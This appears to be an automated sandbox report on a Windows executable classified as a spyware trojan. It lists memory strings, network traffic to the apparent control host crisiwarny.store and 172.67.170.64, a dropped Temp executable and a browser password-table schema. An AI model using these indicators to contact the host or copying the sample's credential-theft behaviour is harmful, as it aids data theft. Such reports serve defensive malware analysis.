Source: file.exe, 00000000.00000003.2163868482.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163985089.0000000005A88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2163868482.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163985089.0000000005A88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.2200235248.0000000005A79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000003.2200235248.0000000005A79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2212728650.0000000005A7D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375467325.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240244625.0000000005A79000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2348788505.00000000014B7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2350297688.00000000014B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2247538157.0000000005A80000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163553412.00000000014BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/
Source: file.exe, 00000000.00000003.2240410967.00000000014B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2236234635.00000000014BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/-
Source: file.exe, 00000000.00000003.2349937830.00000000014B7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375467325.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2348788505.00000000014B7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2350297688.00000000014B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/5
Source: file.exe, 00000000.00000003.2198545884.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198875402.00000000014BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/Y
Source: file.exe, 00000000.00000003.2236078870.00000000014D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/api
Source: file.exe, 00000000.00000003.2247506217.00000000014D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apiB9
Source: file.exe, 00000000.00000003.2348788505.00000000014AD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375413116.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apiFami
Source: file.exe, 00000000.00000003.2212575525.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2212601522.00000000014BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apif
Source: file.exe, 00000000.00000003.2236078870.00000000014D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/apiob$
Source: file.exe, 00000000.00000002.2375214282.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/j9P
Source: file.exe, 00000000.00000003.2240410967.00000000014B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2268093042.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2236234635.00000000014BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store/s
Source: file.exe, 00000000.00000003.2163868482.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163985089.0000000005A88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2163868482.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163985089.0000000005A88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2163868482.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163985089.0000000005A88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000003.2200235248.0000000005A79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: file.exe, 00000000.00000003.2199879735.0000000005B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2199879735.0000000005B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.2200235248.0000000005A79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: file.exe, 00000000.00000003.2163868482.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163985089.0000000005A88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2163868482.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163985089.0000000005A88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.2199748843.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: file.exe, 00000000.00000003.2199748843.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000003.2199879735.0000000005B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000003.2199879735.0000000005B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: file.exe, 00000000.00000003.2199879735.0000000005B92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2200235248.0000000005A79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.64:443 -> 192.168.2.6:49744 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: 4EIXPY3PJ1MHC0SHPSNPXSN.exe.0.dr	Static PE information: section name:
Source: 4EIXPY3PJ1MHC0SHPSNPXSN.exe.0.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_014D696A		0_3_014D696A
Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	Code function: 5_2_0096DDFC		5_2_0096DDFC

Source: file.exe, 00000000.00000003.2314019341.0000000005B7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2317487462.0000000005FCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323741842.00000000060FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2317741951.0000000005F15000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322772220.0000000005FFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320151593.0000000005FDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2333534434.00000000061A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321048928.0000000005F13000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316331325.0000000005F18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2313740790.0000000005F1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2326378227.0000000006022000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314447468.0000000005FB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330531699.0000000005F1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316889085.0000000005FD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332199320.0000000005F13000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2333380674.000000000605F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322237508.0000000005F15000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319034233.0000000006087000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320539156.0000000005FF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2348747580.00000000014CF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2315284548.0000000005B75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332019157.0000000006047000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318212821.0000000005FDD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2317996383.000000000607D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321354376.00000000060BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2331716946.0000000005F1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321170685.0000000005FE2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2324010342.0000000006005000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2333222006.0000000005F1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2324137704.00000000060FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2325049299.0000000005F15000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2348472761.0000000005A72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2315552624.0000000005FB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316765202.0000000005F1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320422624.0000000005F16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314186050.0000000005B72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2325701378.0000000005F1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332745116.000000000617B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2315645903.0000000005F16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2325987292.0000000005F1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2348788505.00000000014BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319139292.0000000005F21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320276220.00000000060AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2313379714.0000000005B73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2329170846.000000000615C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322598965.0000000005F18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323087459.0000000005F17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319405158.000000000609F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323615707.000000000600E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2327552918.0000000005F20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323225356.0000000005FFC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322453084.0000000005FFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332590457.0000000006043000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2322952863.00000000060EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319915981.0000000005F12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2333054280.0000000006056000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2324917383.000000000601E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321723984.0000000005F1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321601280.0000000005FFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314280303.0000000005F13000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2315753210.0000000005FBA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314535819.000000000604B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319270184.0000000005FD2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323494855.0000000005F14000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2326664443.000000000602B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321470668.0000000005F18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2317873373.0000000005FC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323870031.0000000005F18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2328190214.0000000006032000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2324654028.000000000601A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2326120278.0000000006027000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2331070769.0000000006045000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2326831590.000000000614A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320936059.0000000005FF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2333697186.0000000005F21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2314098375.0000000005F15000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2325338317.000000000611C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2329642995.0000000005F1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2324251838.0000000005F20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318108679.0000000005F1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2324526317.0000000005F1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2326235231.0000000005F1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2328399731.0000000005F14000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2313294089.0000000005D12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2332901328.0000000005F1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316451132.0000000005FC0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2325836314.0000000006030000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318777394.0000000005F12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2330031662.0000000006047000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2348132126.0000000005B23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319764683.0000000005FDA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316598494.000000000606C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2321870143.0000000005FFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2346259915.00000000061D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2319536456.0000000005F1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2315457039.0000000005F1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2326518360.0000000005F18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2318903345.0000000005FC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2348232615.0000000005A93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2325195295.0000000006013000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2316999002.0000000005F1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2324400463.0000000006012000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2323359932.00000000060E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2320666541.0000000005F17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2315172801.0000000005F1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2328734347.000000000603A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2324783767.0000000005F17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: ZLIB complexity 0.9980836108934169

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/2@2/2

Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe

Code function: 5_2_04D815D0 ChangeServiceConfigA,

5_2_04D815D0

Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\4EIXPY3PJ1MHC0SHPSNPXSN.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2185020239.0000000005A8E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163591295.0000000005AA4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184894022.0000000005A99000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

Virustotal: Detection: 46%

Source: 4EIXPY3PJ1MHC0SHPSNPXSN.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: 4EIXPY3PJ1MHC0SHPSNPXSN.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
